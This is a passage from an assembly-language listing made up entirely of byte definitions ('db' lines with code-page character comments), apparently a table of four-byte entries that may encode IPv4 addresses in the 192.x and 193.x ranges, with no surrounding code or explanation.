		db  1Fh	;  
		db    7	;  
		db  5Ch	; \
		db 0C0h	; ю
		db  1Fh	;  
		db    7	;  
		db  5Dh	; ]
		db 0C0h	; ю
		db  21h	; !
		db  73h	; s
		db    2	;  
		db 0C0h	; ю
		db  21h	; !
		db  0Eh	;  
		db  1Eh	;  
		db 0C0h	; ю
		db  23h	; #
		db  9Ch	; °
		db 0D4h	; т
		db 0C0h	; ю
		db  23h	; #
		db  11h	;  
		db  0Eh	;  
		db 0C0h	; ю
		db  23h	; #
		db  11h	;  
		db    2	;  
		db 0C0h	; ю
		db  23h	; #
		db 0E3h	; Ц
		db  1Eh	;  
		db 0C0h	; ю
		db  23h	; #
		db 0E4h	; Д
		db  1Eh	;  
		db 0C0h	; ю
		db  23h	; #
		db 0E8h	; Х
		db  22h	; "
		db 0C0h	; ю
		db  23h	; #
		db 0F1h	; Я
		db  46h	; F
		db 0C0h	; ю
		db  23h	; #
		db 0F1h	; Я
		db  47h	; G
		db 0C0h	; ю
		db  23h	; #
		db  23h	; #
		db  1Fh	;  
		db 0C0h	; ю
		db  23h	; #
		db  27h	; '
		db  18h	;  
		db 0C0h	; ю
		db  23h	; #
		db  33h	; 3
		db  1Eh	;  
		db 0C0h	; ю
		db  23h	; #
		db  52h	; R
		db  32h	; 2
		db 0C0h	; ю
		db  24h	; $
		db  78h	; x
		db  0Bh	;  
		db 0C0h	; ю
		db  24h	; $
		db  7Dh	; }
		db    2	;  
		db 0C0h	; ю
		db  24h	; $
		db  8Fh	; ▐
		db    3	;  
		db 0C0h	; ю
		db  24h	; $
		db  90h	; ░
		db  85h	; ┘
		db 0C0h	; ю
		db  24h	; $
		db  94h	; ■
		db  11h	;  
		db 0C0h	; ю
		db  24h	; $
		db  1Ch	;  
		db    1	;  
		db 0C0h	; ю
		db  29h	; )
		db    1	;  
		db  0Ah	;  
		db 0C0h	; ю
		db  29h	; )
		db    1	;  
		db  1Fh	;  
		db 0C0h	; ю
		db  29h	; )
		db  94h	; ■
		db  23h	; #
		db 0C0h	; ю
		db  29h	; )
		db 0DEh	; ч
		db    8	;  
		db 0C0h	; ю
		db  2Ah	; *
		db 0EEh	; Н
		db    2	;  
		db 0C0h	; ю
		db  2Ah	; *
		db    4	;  
		db  27h	; '
		db 0C0h	; ю
		db  2Ah	; *
		db  52h	; R
		db  3Bh	; ;
		db 0C0h	; ю
		db  2Ah	; *
		db  5Dh	; ]
		db  1Eh	;  
		db 0C0h	; ю
		db  2Bh	; +
		db 0D4h	; т
		db  64h	; d
		db 0C0h	; ю
		db  2Bh	; +
		db 0EBh	; К
		db  12h	;  
		db 0C0h	; ю
		db  2Ch	; ,
		db  20h	;  
		db    1	;  
		db 0C0h	; ю
		db  2Ch	; ,
		db  25h	; %
		db    1	;  
		db 0C0h	; ю
		db  2Ch	; ,
		db  3Fh	; ?
		db 0C2h	; б
		db 0C0h	; ю
		db  2Fh	; /
		db 0A7h	; ї
		db 0ADh	; ґ
		db 0C0h	; ю
		db  2Fh	; /
		db 0F2h	; Р
		db    7	;  
		db 0C0h	; ю
		db  30h	; 0
		db  79h	; y
		db  81h	; │
		db 0C0h	; ю
		db  30h	; 0
		db 0E8h	; Х
		db  11h	;  
		db 0C0h	; ю
		db    5	;  
		db 0A6h	; і
		db  0Ch	;  
		db 0C0h	; ю
		db    5	;  
		db  12h	;  
		db 0C3h	; ц
		db 0C0h	; ю
		db    5	;  
		db  12h	;  
		db  46h	; F
		db 0C0h	; ю
		db    5	;  
		db  1Bh	;  
		db  85h	; ┘
		db 0C0h	; ю
		db    5	;  
		db  1Bh	;  
		db  86h	; ├
		db 0C0h	; ю
		db    5	;  
		db  35h	; 5
		db 0D1h	; я
		db 0C0h	; ю
		db    5	;  
		db    6	;  
		db  1Eh	;  
		db 0C0h	; ю
		db  32h	; 2
		db  9Ah	;  
		db    4	;  
		db 0C0h	; ю
		db  32h	; 2
		db  11h	;  
		db    2	;  
		db 0C0h	; ю
		db  32h	; 2
		db  38h	; 8
		db    9	;  
		db 0C0h	; ю
		db  32h	; 2
		db    8	;  
		db    7	;  
		db 0C0h	; ю
		db  33h	; 3
		db  90h	; ░
		db    6	;  
		db 0C0h	; ю
		db  33h	; 3
		db 0FAh	; З
		db  23h	; #
		db 0C0h	; ю
		db  33h	; 3
		db  2Ah	; *
		db  11h	;  
		db 0C0h	; ю
		db  34h	; 4
		db  6Ah	; j
		db    6	;  
		db 0C0h	; ю
		db  34h	; 4
		db 0ECh	; Л
		db    6	;  
		db 0C0h	; ю
		db  34h	; 4
		db  47h	; G
		db  15h	;  
		db 0C0h	; ю
		db  34h	; 4
		db  47h	; G
		db    4	;  
		db 0C0h	; ю
		db  36h	; 6
		db 0C1h	; а
		db  85h	; ┘
		db 0C0h	; ю
		db  36h	; 6
		db 0E2h	; Б
		db  0Fh	;  
		db 0C0h	; ю
		db  36h	; 6
		db 0E2h	; Б
		db  10h	;  
		db 0C0h	; ю
		db  36h	; 6
		db 0FDh	; Щ
		db  66h	; f
		db 0C0h	; ю
		db  37h	; 7
		db 0EAh	; Й
		db  0Dh	;  
		db 0C0h	; ю
		db  38h	; 8
		db 0BFh	; ©
		db  3Fh	; ?
		db 0C0h	; ю
		db  3Ah	; :
		db 0C7h	; г
		db  0Ah	;  
		db 0C0h	; ю
		db  3Ah	; :
		db 0C7h	; г
		db  11h	;  
		db 0C0h	; ю
		db  3Ah	; :
		db 0C7h	; г
		db 0ACh	; ╛
		db 0C0h	; ю
		db  3Ah	; :
		db 0C7h	; г
		db 0AEh	; ў
		db 0C0h	; ю
		db  3Ah	; :
		db 0C7h	; г
		db 0B0h	; ╟
		db 0C0h	; ю
		db  3Ah	; :
		db 0C7h	; г
		db 0B2h	; ╡
		db 0C0h	; ю
		db  3Ah	; :
		db 0CCh	; л
		db  71h	; q
		db 0C0h	; ю
		db  3Ah	; :
		db 0CEh	; н
		db    2	;  
		db 0C0h	; ю
		db  3Ah	; :
		db 0E2h	; Б
		db    7	;  
		db 0C0h	; ю
		db    6	;  
		db  8Fh	; ▐
		db  1Dh	;  
		db 0C0h	; ю
		db    6	;  
		db  8Fh	; ▐
		db  1Eh	;  
		db 0C0h	; ю
		db    6	;  
		db    3	;  
		db  1Dh	;  
		db 0C0h	; ю
		db    6	;  
		db    7	;  
		db    8	;  
		db 0C0h	; ю
		db  3Dh	; =
		db  3Dh	; =
		db  28h	; (
		db 0C0h	; ю
		db  3Fh	; ?
		db  64h	; d
		db  36h	; 6
		db 0C0h	; ю
		db  41h	; A
		db 0B6h	; І
		db  1Eh	;  
		db 0C0h	; ю
		db  41h	; A
		db 0B6h	; І
		db    4	;  
		db 0C0h	; ю
		db  41h	; A
		db 0B9h	; ╧
		db  0Ah	;  
		db 0C0h	; ю
		db  41h	; A
		db 0DAh	; з
		db  0Eh	;  
		db 0C0h	; ю
		db  41h	; A
		db  5Bh	; [
		db  81h	; │
		db 0C0h	; ю
		db  43h	; C
		db  0Eh	;  
		db  0Fh	;  
		db 0C0h	; ю
		db  43h	; C
		db  0Eh	;  
		db  10h	;  
		db 0C0h	; ю
		db  43h	; C
		db  0Eh	;  
		db  11h	;  
		db 0C0h	; ю
		db  43h	; C
		db 0FBh	; Ш
		db    7	;  
		db 0C0h	; ю
		db  43h	; C
		db  50h	; P
		db  0Ah	;  
		db 0C0h	; ю
		db  44h	; D
		db 0E3h	; Ц
		db  46h	; F
		db 0C0h	; ю
		db  44h	; D
		db 0F8h	; Ь
		db  11h	;  
		db 0C0h	; ю
		db  44h	; D
		db 0F8h	; Ь
		db  12h	;  
		db 0C0h	; ю
		db    7	;  
		db    1	;  
		db  0Bh	;  
		db 0C0h	; ю
		db  46h	; F
		db 0AFh	; ╞
		db  6Eh	; n
		db 0C0h	; ю
		db  46h	; F
		db 0F5h	; У
		db  62h	; b
		db 0C0h	; ю
		db  46h	; F
		db  39h	; 9
		db  1Ch	;  
		db 0C0h	; ю
		db  46h	; F
		db  4Fh	; O
		db  0Bh	;  
		db 0C0h	; ю
		db  47h	; G
		db  94h	; ■
		db 0A6h	; і
		db 0C0h	; ю
		db  47h	; G
		db  94h	; ■
		db 0C6h	; ф
		db 0C0h	; ю
		db  47h	; G
		db 0DCh	; э
		db  0Ah	;  
		db 0C0h	; ю
		db  47h	; G
		db 0DCh	; э
		db  0Dh	;  
		db 0C0h	; ю
		db  47h	; G
		db 0DCh	; э
		db    9	;  
		db 0C0h	; ю
		db  49h	; I
		db    5	;  
		db    1	;  
		db 0C0h	; ю
		db  49h	; I
		db  35h	; 5
		db    3	;  
		db 0C0h	; ю
		db  49h	; I
		db  35h	; 5
		db    4	;  
		db 0C0h	; ю
		db  49h	; I
		db  3Dh	; =
		db    1	;  
		db 0C0h	; ю
		db  49h	; I
		db  3Dh	; =
		db    3	;  
		db 0C0h	; ю
		db  49h	; I
		db    8	;  
		db    4	;  
		db 0C0h	; ю
		db  4Bh	; K
		db  0Dh	;  
		db  65h	; e
		db 0C0h	; ю
		db  4Bh	; K
		db  0Dh	;  
		db  7Dh	; }
		db 0C0h	; ю
		db  4Bh	; K
		db  9Ch	; °
		db 0F4h	; Т
		db 0C0h	; ю
		db  4Bh	; K
		db  9Ch	; °
		db 0F5h	; У
		db 0C0h	; ю
		db  4Bh	; K
		db  9Ch	; °
		db 0FAh	; З
		db 0C0h	; ю
		db  4Bh	; K
		db  9Eh	; ·
		db  34h	; 4
		db 0C0h	; ю
		db  4Bh	; K
		db  17h	;  
		db  43h	; C
		db 0C0h	; ю
		db  4Bh	; K
		db  1Ah	;  
		db  0Fh	;  
		db 0C0h	; ю
		db  4Bh	; K
		db  1Ah	;  
		db  11h	;  
		db 0C0h	; ю
		db  4Bh	; K
		db  42h	; B
		db  81h	; │
		db 0C0h	; ю
		db  4Bh	; K
		db  47h	; G
		db  27h	; '
		db 0C0h	; ю
		db  4Ch	; L
		db  90h	; ░
		db  0Eh	;  
		db 0C0h	; ю
		db  4Ch	; L
		db  90h	; ░
		db  0Fh	;  
		db 0C0h	; ю
		db  4Ch	; L
		db  90h	; ░
		db  11h	;  
		db 0C0h	; ю
		db  4Ch	; L
		db  90h	; ░
		db  42h	; B
		db 0C0h	; ю
		db  4Ch	; L
		db  97h	; ≈
		db    2	;  
		db 0C0h	; ю
		db  4Ch	; L
		db  98h	; ≤
		db    9	;  
		db 0C0h	; ю
		db  4Ch	; L
		db  9Dh	; ²
		db    4	;  
		db 0C0h	; ю
		db  4Ch	; L
		db 0B0h	; ╟
		db    9	;  
		db 0C0h	; ю
		db  4Ch	; L
		db 0B1h	; ╠
		db  11h	;  
		db 0C0h	; ю
		db  4Ch	; L
		db 0B1h	; ╠
		db  19h	;  
		db 0C0h	; ю
		db  4Ch	; L
		db  52h	; R
		db  81h	; │
		db 0C0h	; ю
		db  4Ch	; L
		db  52h	; R
		db  82h	; ┌
		db 0C0h	; ю
		db  4Dh	; M
		db  74h	; t
		db    3	;  
		db 0C0h	; ю
		db  4Dh	; M
		db  74h	; t
		db  48h	; H
		db 0C0h	; ю
		db  4Dh	; M
		db 0CDh	; м
		db  0Ah	;  
		db 0C0h	; ю
		db  4Dh	; M
		db  33h	; 3
		db    3	;  
		db 0C0h	; ю
		db  4Dh	; M
		db  33h	; 3
		db    5	;  
		db 0C0h	; ю
		db  4Dh	; M
		db  54h	; T
		db  20h	;  
		db 0C0h	; ю
		db  4Dh	; M
		db  54h	; T
		db  27h	; '
		db 0C0h	; ю
		db  52h	; R
		db  6Ch	; l
		db  26h	; &
		db 0C0h	; ю
		db  52h	; R
		db  71h	; q
		db    7	;  
		db 0C0h	; ю
		db  52h	; R
		db 0D0h	; п
		db  36h	; 6
		db 0C0h	; ю
		db  53h	; S
		db  9Fh	; ÷
		db 0C1h	; а
		db 0C0h	; ю
		db  53h	; S
		db  9Fh	; ÷
		db 0C2h	; б
		db 0C0h	; ю
		db  53h	; S
		db 0A6h	; і
		db  0Bh	;  
		db 0C0h	; ю
		db  53h	; S
		db 0BDh	; Ґ
		db    9	;  
		db 0C0h	; ю
		db  53h	; S
		db 0E0h	; Ю
		db  82h	; ┌
		db 0C0h	; ю
		db  53h	; S
		db 0E7h	; Г
		db  13h	;  
		db 0C0h	; ю
		db  53h	; S
		db 0F0h	; П
		db  0Ah	;  
		db 0C0h	; ю
		db  54h	; T
		db  0Ah	;  
		db  0Ah	;  
		db 0C0h	; ю
		db  54h	; T
		db  0Ah	;  
		db    3	;  
		db 0C0h	; ю
		db  54h	; T
		db  3Fh	; ?
		db    5	;  
		db 0C0h	; ю
		db  55h	; U
		db  9Ah	;  
		db  4Eh	; N
		db 0C0h	; ю
		db  55h	; U
		db  10h	;  
		db  0Fh	;  
		db 0C0h	; ю
		db  56h	; V
		db  47h	; G
		db  0Ah	;  
		db 0C0h	; ю
		db  56h	; V
		db  63h	; c
		db  64h	; d
		db 0C0h	; ю
		db  56h	; V
		db  63h	; c
		db 0C8h	; х
		db 0C0h	; ю
		db  57h	; W
		db  6Ah	; j
		db  65h	; e
		db 0C0h	; ю
		db  57h	; W
		db  6Ch	; l
		db    3	;  
		db 0C0h	; ю
		db  57h	; W
		db 0B0h	; ╟
		db  22h	; "
		db 0C0h	; ю
		db  57h	; W
		db  17h	;  
		db  62h	; b
		db 0C0h	; ю
		db  57h	; W
		db  24h	; $
		db    2	;  
		db 0C0h	; ю
		db  58h	; X
		db  7Ah	; z
		db  81h	; │
		db 0C0h	; ю
		db  58h	; X
		db 0C1h	; а
		db  90h	; ░
		db 0C0h	; ю
		db  58h	; X
		db 0C3h	; ц
		db  0Ah	;  
		db 0C0h	; ю
		db  58h	; X
		db    8	;  
		db  96h	; √
		db 0C0h	; ю
		db    9	;  
		db  30h	; 0
		db    3	;  
		db 0C0h	; ю
		db    9	;  
		db    9	;  
		db    3	;  
		db 0C0h	; ю
		db    9	;  
		db    9	;  
		db    6	;  
		db 0C0h	; ю
		db  5Ah	; Z
		db  7Fh	; 
		db    2	;  
		db 0C0h	; ю
		db  5Ah	; Z
		db  7Fh	; 
		db    3	;  
		db 0C0h	; ю
		db  5Bh	; [
		db  93h	; ⌠
		db    5	;  
		db 0C0h	; ю
		db  5Ch	; \
		db  73h	; s
		db    8	;  
		db 0C0h	; ю
		db  5Ch	; \
		db  7Ch	; |
		db    1	;  
		db 0C0h	; ю
		db  5Ch	; \
		db  7Ch	; |
		db    3	;  
		db 0C0h	; ю
		db  5Ch	; \
		db  81h	; │
		db    1	;  
		db 0C0h	; ю
		db  5Ch	; \
		db  8Ah	; ┼
		db  23h	; #
		db 0C0h	; ю
		db  5Ch	; \
		db  0Eh	;  
		db    2	;  
		db 0C0h	; ю
		db  5Ch	; \
		db  51h	; Q
		db  0Ah	;  
		db 0C0h	; ю
		db  5Dh	; ]
		db    0	;  
		db    1	;  
		db 0C0h	; ю
		db  5Dh	; ]
		db    0	;  
		db    4	;  
		db 0C0h	; ю
		db  5Eh	; ^
		db  7Bh	; {
		db  18h	;  
		db 0C0h	; ю
		db  5Eh	; ^
		db 0ADh	; ґ
		db  85h	; ┘
		db 0C0h	; ю
		db  5Eh	; ^
		db 0CFh	; о
		db  42h	; B
		db 0C0h	; ю
		db  5Eh	; ^
		db    3	;  
		db    1	;  
		db 0C0h	; ю
		db  62h	; b
		db  50h	; P
		db    1	;  
		db 0C1h	; а
		db    0	;  
		db    0	;  
		db 0C1h	; а
		db 0C1h	; а
		db    0	;  
		db  50h	; P
		db  0Bh	;  
		db 0C1h	; а
		db    1	;  
		db 0C1h	; а
		db 0C2h	; б
		db 0C1h	; а
		db  0Ah	;  
		db  42h	; B
		db 0C3h	; ц
		db 0C1h	; а
		db  68h	; h
		db  70h	; p
		db  85h	; ┘
		db 0C1h	; а
		db  6Bh	; k
		db 0D2h	; р
		db  35h	; 5
		db 0C1h	; а
		db  6Bh	; k
		db 0D2h	; р
		db  36h	; 6
		db 0C1h	; а
		db  6Ch	; l
		db  89h	; ┴
		db  2Dh	; -
		db 0C1h	; а
		db  71h	; q
		db 0B9h	; ╧
		db 0E3h	; Ц
		db 0C1h	; а
		db  71h	; q
		db 0B9h	; ╧
		db 0E4h	; Д
		db 0C1h	; а
		db  71h	; q
		db 0B9h	; ╧
		db 0E5h	; Е
		db 0C1h	; а
		db  71h	; q
		db 0B9h	; ╧
		db 0E6h	; Ф
		db 0C1h	; а
		db  71h	; q
		db 0D4h	; т
		db  26h	; &
		db 0C1h	; а
		db  0Ch	;  
		db 0B2h	; ╡
		db  41h	; A
		db 0C1h	; а
		db  78h	; x
		db  34h	; 4
		db  0Bh	;  
		db 0C1h	; а
		db  7Ch	; |
		db  16h	;  
		db  41h	; A
		db 0C1h	; а
		db  7Ch	; |
		db 0E4h	; Д
		db  20h	;  
		db 0C1h	; а
		db  7Ch	; |
		db  53h	; S
		db  45h	; E
		db 0C1h	; а
		db  7Dh	; }
		db  98h	; ≤
		db    3	;  
		db 0C1h	; а
		db  7Dh	; }
		db 0C0h	; ю
		db  51h	; Q
		db 0C1h	; а
		db  7Eh	; ~
		db    4	;  
		db  41h	; A
		db 0C1h	; а
		db  7Fh	; 
		db    1	;  
		db    2	;  
		db 0C1h	; а
		db  7Fh	; 
		db    1	;  
		db    9	;  
		db 0C1h	; а
		db  7Fh	; 
		db  1Bh	;  
		db  47h	; G
		db 0C1h	; а
		db  80h	; ─
		db  51h	; Q
		db  2Dh	; -
		db 0C1h	; а
		db  87h	; ┤
		db  92h	; ▓
		db  0Ah	;  
		db 0C1h	; а
		db  88h	; ┬
		db    0	;  
		db    3	;  
		db 0C1h	; а
		db  88h	; ┬
		db 0C0h	; ю
		db  0Ah	;  
		db 0C1h	; а
		db  88h	; ┬
		db    7	;  
		db  11h	;  
		db 0C1h	; а
		db  88h	; ┬
		db    9	;  
		db 0F0h	; П
		db 0C1h	; а
		db  8Dh	; █
		db  28h	; (
		db    1	;  
		db 0C1h	; а
		db  8Dh	; █
		db  28h	; (
		db  2Ah	; *
		db 0C1h	; а
		db  8Dh	; █
		db  43h	; C
		db    1	;  
		db 0C1h	; а
		db  92h	; ▓
		db  9Fh	; ÷
		db 0A2h	; ╒
		db 0C1h	; а
		db  95h	; ∙
		db  2Ch	; ,
		db  31h	; 1
		db 0C1h	; а
		db  0Fh	;  
		db 0F0h	; П
		db  32h	; 2
		db 0C1h	; а
		db  96h	; √
		db 0A6h	; і
		db  32h	; 2
		db 0C1h	; а
		db  98h	; ≤
		db  24h	; $
		db    5	;  
		db 0C1h	; а
		db  98h	; ≤
		db  24h	; $
		db    6	;  
		db 0C1h	; а
		db  10h	;  
		db    3	;  
		db  0Bh	;  
		db 0C1h	; а
		db 0A2h	; ╒
		db  91h	; ▒
		db  82h	; ┌
		db 0C1h	; а
		db 0A2h	; ╒
		db  9Fh	; ÷
		db 0C2h	; б
		db 0C1h	; а
		db 0A2h	; ╒
		db 0F0h	; П
		db    5	;  
		db 0C1h	; а
		db 0A4h	; є
		db 0A0h	; ═
		db    2	;  
		db 0C1h	; а
		db 0A5h	; ╔
		db 0FEh	; Ч
		db    8	;  
		db 0C1h	; а
		db 0A5h	; ╔
		db 0FEh	; Ч
		db    9	;  
		db 0C1h	; а
		db 0A7h	; ї
		db  83h	; ┐
		db    1	;  
		db 0C1h	; а
		db 0ABh	; ╚
		db 0FFh	;  
		db    2	;  
		db 0C1h	; а
		db 0ABh	; ╚
		db 0FFh	;  
		db  42h	; B
		db 0C1h	; а
		db 0ABh	; ╚
		db 0FFh	;  
		db  4Dh	; M
		db 0C1h	; а
		db 0AEh	; ў
		db  4Ah	; J
		db  29h	; )
		db 0C1h	; а
		db 0AEh	; ў
		db  4Bh	; K
		db  6Eh	; n
		db 0C1h	; а
		db 0AEh	; ў
		db  4Bh	; K
		db  7Eh	; ~
		db 0C1h	; а
		db 0AEh	; ў
		db  4Bh	; K
		db  8Eh	; ▌
		db 0C1h	; а
		db 0AEh	; ў
		db  4Bh	; K
		db  92h	; ▓
		db 0C1h	; а
		db 0AEh	; ў
		db  4Bh	; K
		db  96h	; √
		db 0C1h	; а
		db 0AEh	; ў
		db  4Bh	; K
		db  9Ah	;  
		db 0C1h	; а
		db 0AEh	; ў
		db  4Bh	; K
		db 0A2h	; ╒
		db 0C1h	; а
		db 0AEh	; ў
		db  4Bh	; K
		db 0A6h	; і
		db 0C1h	; а
		db 0AEh	; ў
		db  4Bh	; K
		db 0AEh	; ў
		db 0C1h	; а
		db 0AFh	; ╞
		db  48h	; H
		db    9	;  
		db 0C1h	; а
		db 0B4h	; Є
		db  24h	; $
		db 0AAh	; ╙
		db 0C1h	; а
		db 0B9h	; ╧
		db  3Ch	; <
		db  2Ah	; *
		db 0C1h	; а
		db 0BDh	; Ґ
		db 0E0h	; Ю
		db    2	;  
		db 0C1h	; а
		db 0BDh	; Ґ
		db 0E7h	; Г
		db 0C2h	; б
		db 0C1h	; а
		db 0BDh	; Ґ
		db 0E7h	; Г
		db    2	;  
		db 0C1h	; а
		db 0BEh	; Ў
		db 0B6h	; І
		db  23h	; #
		db 0C1h	; а
		db 0BEh	; Ў
		db 0C6h	; ф
		db  0Ah	;  
		db 0C1h	; а
		db 0BEh	; Ў
		db 0C6h	; ф
		db    2	;  
		db 0C1h	; а
		db 0C0h	; ю
		db 0E3h	; Ц
		db    3	;  
		db 0C1h	; а
		db 0C0h	; ю
		db 0FBh	; Ш
		db  0Fh	;  
		db 0C1h	; а
		db    2	;  
		db    1	;  
		db  42h	; B
		db 0C1h	; а
		db    2	;  
		db    1	;  
		db  48h	; H
		db 0C1h	; а
		db    2	;  
		db    4	;  
		db 0F8h	; Ь
		db 0C1h	; а
		db 0C8h	; х
		db  0Fh	;  
		db  81h	; │
		db 0C1h	; а
		db 0C8h	; х
		db  0Fh	;  
		db  85h	; ┘
		db 0C1h	; а
		db 0CDh	; м
		db 0F5h	; У
		db    5	;  
		db 0C1h	; а
		db 0CDh	; м
		db 0F5h	; У
		db  42h	; B
		db 0C1h	; а
		db 0CDh	; м
		db 0F5h	; У
		db    8	;  
		db 0C1h	; а
		db 0D0h	; п
		db 0CAh	; й
		db 0FAh	; З
		db 0C1h	; а
		db 0D2h	; р
		db  12h	;  
		db  12h	;  
		db 0C1h	; а
		db 0D2h	; р
		db  12h	;  
		db  14h	;  
		db 0C1h	; а
		db 0D2h	; р
		db  13h	;  
		db  13h	;  
		db 0C1h	; а
		db 0D2h	; р
		db  13h	;  
		db 0BEh	; Ў
		db 0C1h	; а
		db 0D3h	; с
		db  3Eh	; >
		db  3Bh	; ;
		db 0C1h	; а
		db 0D4h	; т
		db    1	;  
		db  0Ah	;  
		db 0C1h	; а
		db 0D4h	; т
		db  5Fh	; _
		db  19h	;  
		db 0C1h	; а
		db 0D4h	; т
		db  5Fh	; _
		db  1Ah	;  
		db 0C1h	; а
		db 0D5h	; у
		db 0EEh	; Н
		db    2	;  
		db 0C1h	; а
		db 0D7h	; в
		db 0F2h	; Р
		db  82h	; ┌
		db 0C1h	; а
		db 0D8h	; ь
		db    1	;  
		db  0Ah	;  
		db 0C1h	; а
		db 0D8h	; ь
		db  45h	; E
		db  0Ah	;  
		db 0C1h	; а
		db 0DBh	; ш
		db  0Fh	;  
		db  11h	;  
		db 0C1h	; а
		db 0DBh	; ш
		db 0C1h	; а
		db  82h	; ┌
		db 0C1h	; а
		db 0DBh	; ш
		db 0C1h	; а
		db  87h	; ┤
		db 0C1h	; а
		db 0E0h	; Ю
		db 0D1h	; я
		db    1	;  
		db 0C1h	; а
		db 0E1h	; А
		db  0Ch	;  
		db  3Ah	; :
		db 0C1h	; а
		db 0E1h	; А
		db  56h	; V
		db    1	;  
		db 0C1h	; а
		db 0E3h	; Ц
		db    1	;  
		db    1	;  
		db 0C1h	; а
		db 0E3h	; Ц
		db 0A2h	; ╒
		db 0A7h	; ї
		db 0C1h	; а
		db 0E5h	; Е
		db    0	;  
		db  28h	; (
		db 0C1h	; а
		db 0E5h	; Е
		db    0	;  
		db  2Ah	; *
		db 0C1h	; а
		db 0E8h	; Х
		db  58h	; X
		db  11h	;  
		db 0C1h	; а
		db 0E9h	; И
		db 0C0h	; ю
		db  11h	;  
		db 0C1h	; а
		db 0E9h	; И
		db  30h	; 0
		db    9	;  
		db 0C1h	; а
		db 0F1h	; Я
		db    0	;  
		db    1	;  
		db 0C1h	; а
		db 0F7h	; В
		db 0B4h	; Є
		db  22h	; "
		db 0C1h	; а
		db 0FCh	; Э
		db  13h	;  
		db  0Ah	;  
		db 0C1h	; а
		db 0FCh	; Э
		db  13h	;  
		db  0Bh	;  
		db 0C1h	; а
		db  1Eh	;  
		db  12h	;  
		db    2	;  
		db 0C1h	; а
		db  26h	; &
		db  71h	; q
		db    3	;  
		db 0C1h	; а
		db    4	;  
		db  3Ah	; :
		db  33h	; 3
		db 0C1h	; а
		db    4	;  
		db  3Ah	; :
		db  34h	; 4
		db 0C1h	; а
		db  28h	; (
		db    0	;  
		db  0Ch	;  
		db 0C1h	; а
		db  28h	; (
		db  38h	; 8
		db 0F5h	; У
		db 0C1h	; а
		db  2Bh	; +
		db    2	;  
		db    1	;  
		db 0C1h	; а
		db  2Bh	; +
		db  24h	; $
		db  37h	; 7
		db 0C1h	; а
		db  2Bh	; +
		db  24h	; $
		db    9	;  
		db 0C1h	; а
		db  2Ch	; ,
		db  4Fh	; O
		db    8	;  
		db 0C1h	; а
		db  30h	; 0
		db 0A9h	; ╘
		db  28h	; (
		db 0C1h	; а
		db  31h	; 1
		db  7Ch	; |
		db    7	;  
		db 0C1h	; а
		db    5	;  
		db 0AFh	; ╞
		db 0C2h	; б
		db 0C1h	; а
		db    5	;  
		db 0AFh	; ╞
		db 0C3h	; ц
		db 0C1h	; а
		db  32h	; 2
		db  1Bh	;  
		db  42h	; B
		db 0C1h	; а
		db  33h	; 3
		db  0Bh	;  
		db    1	;  
		db 0C1h	; а
		db  33h	; 3
		db 0D0h	; п
		db  0Dh	;  
		db 0C1h	; а
		db  33h	; 3
		db  18h	;  
		db    1	;  
		db 0C1h	; а
		db  36h	; 6
		db 0B9h	; ╧
		db  63h	; c
		db 0C1h	; а
		db  36h	; 6
		db 0BDh	; Ґ
		db    3	;  
		db 0C1h	; а
		db  36h	; 6
		db 0EEh	; Н
		db  33h	; 3
		db 0C1h	; а
		db  38h	; 8
		db 0F1h	; Я
		db  0Ch	;  
		db 0C1h	; а
		db  3Bh	; ;
		db 0C9h	; и
		db  1Bh	;  
		db 0C1h	; а
		db  3Bh	; ;
		db 0C9h	; и
		db  1Ch	;  
		db 0C1h	; а
		db  3Bh	; ;
		db 0C9h	; и
		db  25h	; %
		db 0C1h	; а
		db    6	;  
		db 0EEh	; Н
		db    2	;  
		db 0C1h	; а
		db  3Ch	; <
		db  92h	; ▓
		db    2	;  
		db 0C1h	; а
		db  3Dh	; =
		db 0C4h	; д
		db  83h	; ┐
		db 0C1h	; а
		db  3Dh	; =
		db 0C4h	; д
		db  84h	; └
		db 0C1h	; а
		db  3Eh	; >
		db  73h	; s
		db  10h	;  
		db 0C1h	; а
		db  3Eh	; >
		db  9Dh	; ²
		db  42h	; B
		db 0C1h	; а
		db  3Eh	; >
		db    3	;  
		db 0F7h	; В
		db 0C1h	; а
		db  3Fh	; ?
		db  69h	; i
		db  11h	;  
		db 0C1h	; а
		db  3Fh	; ?
		db  6Ah	; j
		db  67h	; g
		db 0C1h	; а
		db  3Fh	; ?
		db 0D3h	; с
		db  13h	;  
		db 0C1h	; а
		db  3Fh	; ?
		db  37h	; 7
		db    1	;  
		db 0C1h	; а
		db  3Fh	; ?
		db  58h	; X
		db  0Bh	;  
		db 0C1h	; а
		db  3Fh	; ?
		db  5Eh	; ^
		db  14h	;  
		db 0C1h	; а
		db  40h	; @
		db 0C1h	; а
		db  7Ch	; |
		db 0C1h	; а
		db  40h	; @
		db 0C1h	; а
		db  84h	; └
		db 0C1h	; а
		db  43h	; C
		db  4Fh	; O
		db  86h	; ├
		db 0C1h	; а
		db  44h	; D
		db    3	;  
		db 0FCh	; Э
		db 0C1h	; а
		db  45h	; E
		db  0Ah	;  
		db 0BAh	; ╨
		db 0C1h	; а
		db  47h	; G
		db    1	;  
		db    2	;  
		db 0C1h	; а
		db  48h	; H
		db 0B0h	; ╟
		db  0Ah	;  
		db 0C1h	; а
		db  4Ah	; J
		db 0D0h	; п
		db  89h	; ┴
		db 0C1h	; а
		db  4Ah	; J
		db 0D0h	; п
		db  8Bh	; ▀
		db 0C1h	; а
		db  4Bh	; K
		db  4Bh	; K
		db    1	;  
		db 0C1h	; а
		db  4Dh	; M
		db    2	;  
		db  42h	; B
		db 0C1h	; а
		db  4Eh	; N
		db 0F0h	; П
		db    1	;  
		db 0C1h	; а
		db  51h	; Q
		db  53h	; S
		db    2	;  
		db 0C1h	; а
		db  52h	; R
		db 0B3h	; Ё
		db  12h	;  
		db 0C1h	; а
		db  55h	; U
		db    1	;  
		db  0Ch	;  
		db 0C1h	; а
		db  55h	; U
		db    3	;  
		db  32h	; 2
		db 0C1h	; а
		db  57h	; W
		db  64h	; d
		db  0Ch	;  
		db 0C1h	; а
		db  58h	; X
		db  2Ch	; ,
		db  16h	;  
		db 0C1h	; а
		db  58h	; X
		db  2Ch	; ,
		db  1Dh	;  
		db 0C1h	; а
		db  58h	; X
		db  2Ch	; ,
		db  24h	; $
		db 0C1h	; а
		db  58h	; X
		db  2Ch	; ,
		db  2Ah	; *
		db 0C1h	; а
		db    9	;  
		db  86h	; ├
		db  2Ah	; *
		db 0C1h	; а
		db  5Ah	; Z
		db    9	;  
		db    2	;  
		db 0C1h	; а
		db  5Ch	; \
		db  6Eh	; n
		db    1	;  
		db 0C1h	; а
		db  5Ch	; \
		db  96h	; √
		db    3	;  
		db 0C1h	; а
		db  5Ch	; \
		db  1Eh	;  
